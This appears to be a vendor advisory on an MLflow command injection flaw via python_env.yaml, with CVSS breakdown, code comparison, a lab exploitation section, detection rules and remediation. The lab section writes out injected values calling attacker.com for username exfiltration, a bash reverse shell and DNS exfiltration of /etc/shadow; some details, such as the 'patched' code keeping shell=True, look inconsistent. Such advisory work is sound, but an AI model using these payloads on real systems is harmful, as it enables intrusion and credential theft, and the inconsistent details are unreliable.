CVE-2025-15379

Executive Summary

CVE-2025-15379 is a critical command injection vulnerability in MLflow, an open-source platform for the machine learning lifecycle. The flaw resides in the _install_model_dependencies_to_env() function, which is invoked when deploying a model with env_manager=LOCAL. An attacker can craft a malicious model artifact containing a python_env.yaml file with injected shell commands. When the model is deployed, these commands are executed without sanitization, leading to arbitrary command execution on the host system. The vulnerability affects MLflow versions 3.8.0 and is patched in version 3.8.2. The CVSS score of 9.8 reflects the ease of exploitation and the potential for full system compromise.

Supply Chain & Package Security

MLflow is a PyPI package (mlflow). This vulnerability introduces a supply chain risk: an attacker could publish a malicious model artifact to a public registry (e.g., MLflow Model Registry) that, when deployed by a victim, executes arbitrary code. Organizations using MLflow for model serving must ensure they only deploy models from trusted sources and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely by supplying a malicious model artifact.
• Attack Complexity: Low (AC:L) – No special conditions are required; the attacker only needs to provide a crafted python_env.yaml.
• Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
• User Interaction: None (UI:N) – The victim does not need to perform any action beyond deploying the model.
• Scope: Unchanged (S:U) – The exploit does not cross security boundaries.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – Full system compromise is possible.

Deep Dive & Mechanics

The vulnerability is in the _install_model_dependencies_to_env() function within MLflow's model serving code. When a model is deployed with env_manager=LOCAL, MLflow reads the python_env.yaml file from the model artifact to determine dependencies. This file contains fields like pip, conda, and pip_requirements. The function constructs a shell command to install these dependencies by directly interpolating the values from the YAML file into a command string without proper sanitization.

For example, if the python_env.yaml contains:

pip:
  - "torch==1.9.0"
  - "requests; $(malicious_command)"

The $(malicious_command) is interpreted by the shell, leading to arbitrary command execution. The function does not escape or validate the input, allowing an attacker to inject shell metacharacters like ;, |, $(), or backticks.

The vulnerable code path is triggered when:

1. A model is deployed using mlflow.pyfunc.spark_udf() or mlflow.models.infer_signature() with env_manager="local".
2. The model artifact is loaded from a remote or local source.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.8.0):

def _install_model_dependencies_to_env(model_path, env_manager):
    env_file = os.path.join(model_path, "python_env.yaml")
    with open(env_file, 'r') as f:
        env_config = yaml.safe_load(f)
    # Direct interpolation into shell command
    cmd = f"pip install {' '.join(env_config.get('pip', []))}"
    subprocess.run(cmd, shell=True, check=True)

Patched Code (version 3.8.2):

def _install_model_dependencies_to_env(model_path, env_manager):
    env_file = os.path.join(model_path, "python_env.yaml")
    with open(env_file, 'r') as f:
        env_config = yaml.safe_load(f)
    # Sanitize each dependency
    deps = [shlex.quote(dep) for dep in env_config.get('pip', [])]
    cmd = f"pip install {' '.join(deps)}"
    subprocess.run(cmd, shell=True, check=True)

The patch uses shlex.quote() to escape shell metacharacters in each dependency string, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install MLflow 3.8.0: pip install mlflow==3.8.0
2. Create a malicious model artifact:
   • Create a directory malicious_model/
   • Inside, create a python_env.yaml file with:

     pip:
       - "torch==1.9.0"
       - "requests; curl http://attacker.com/$(whoami)"
     

   • Create a minimal MLmodel file:

     flavors:
       python_function:
         env: python_env.yaml
     

3. Deploy the model:

   import mlflow
   mlflow.pyfunc.load_model("malicious_model/", env_manager="local")
   

4. The injected command curl http://attacker.com/$(whoami) will execute, exfiltrating the username.

Advanced Exploitation:

• Use reverse shell payload: "requests; bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'"
• Use data exfiltration via DNS: "requests; nslookup $(cat /etc/shadow | base64).attacker.com"

Blue Team (Detection & Response)

Detection:

• Monitor for unusual subprocess executions from MLflow processes.
• Look for shell metacharacters (;, |, $(), `) in python_env.yaml files.
• Alert on model deployments with env_manager=local from untrusted sources.

Response:

1. Immediately isolate affected systems.
2. Review model artifacts for malicious content.
3. Upgrade to MLflow 3.8.2 or later.
4. Scan for indicators of compromise (IOCs) listed below.

Indicators of Compromise (IOCs)

• File-based IOCs:
  • python_env.yaml containing shell metacharacters (e.g., ;, |, $(), `)
  • Unexpected files in /tmp/ or model directories (e.g., reverse shell scripts)
• Network-based IOCs:
  • Outbound connections to unknown IPs/domains from MLflow processes
  • DNS queries for suspicious domains (e.g., *.attacker.com)
• Process-based IOCs:
  • MLflow processes spawning sh, bash, curl, wget, or nslookup
  • Unusual child processes of mlflow or python

Detection Engineering

YARA Rule

rule CVE_2025_15379_MLflow_CommandInjection {
    meta:
        description = "Detects malicious python_env.yaml files exploiting CVE-2025-15379"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15379"
    strings:
        $shell_meta1 = /[;|$()]/
        $shell_meta2 = /`[^`]*`/
        $pip_key = "pip:"
    condition:
        $pip_key and (#shell_meta1 > 0 or #shell_meta2 > 0)
}

Sigma Rule

title: MLflow Command Injection via python_env.yaml
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of CVE-2025-15379 in MLflow model deployment
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python'
        CommandLine|contains: 'pip install'
        CommandLine|contains:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in package names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15379 MLflow Command Injection - Outbound Connection"; flow:to_server,established; content:"python_env.yaml"; http_server_body; pcre:"/[;|$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MLflow to version 3.8.2 or later: pip install mlflow==3.8.2
2. If upgrade is not possible, avoid using env_manager=local with untrusted model artifacts.
3. Review all deployed models for malicious python_env.yaml files.

Long-term Mitigations:

• Implement strict input validation for model artifacts.
• Use containerized environments (e.g., Docker) for model serving to limit blast radius.
• Monitor MLflow logs for suspicious activity.
• Apply the principle of least privilege to MLflow processes.

Workaround:

• Use env_manager=conda or env_manager=virtualenv instead of local, as these do not use the vulnerable code path.

Valters IT
Securing the digital frontier, one CVE at a time.

{/* [Security Hash: 84B4E87ACB1923F872D63629] */}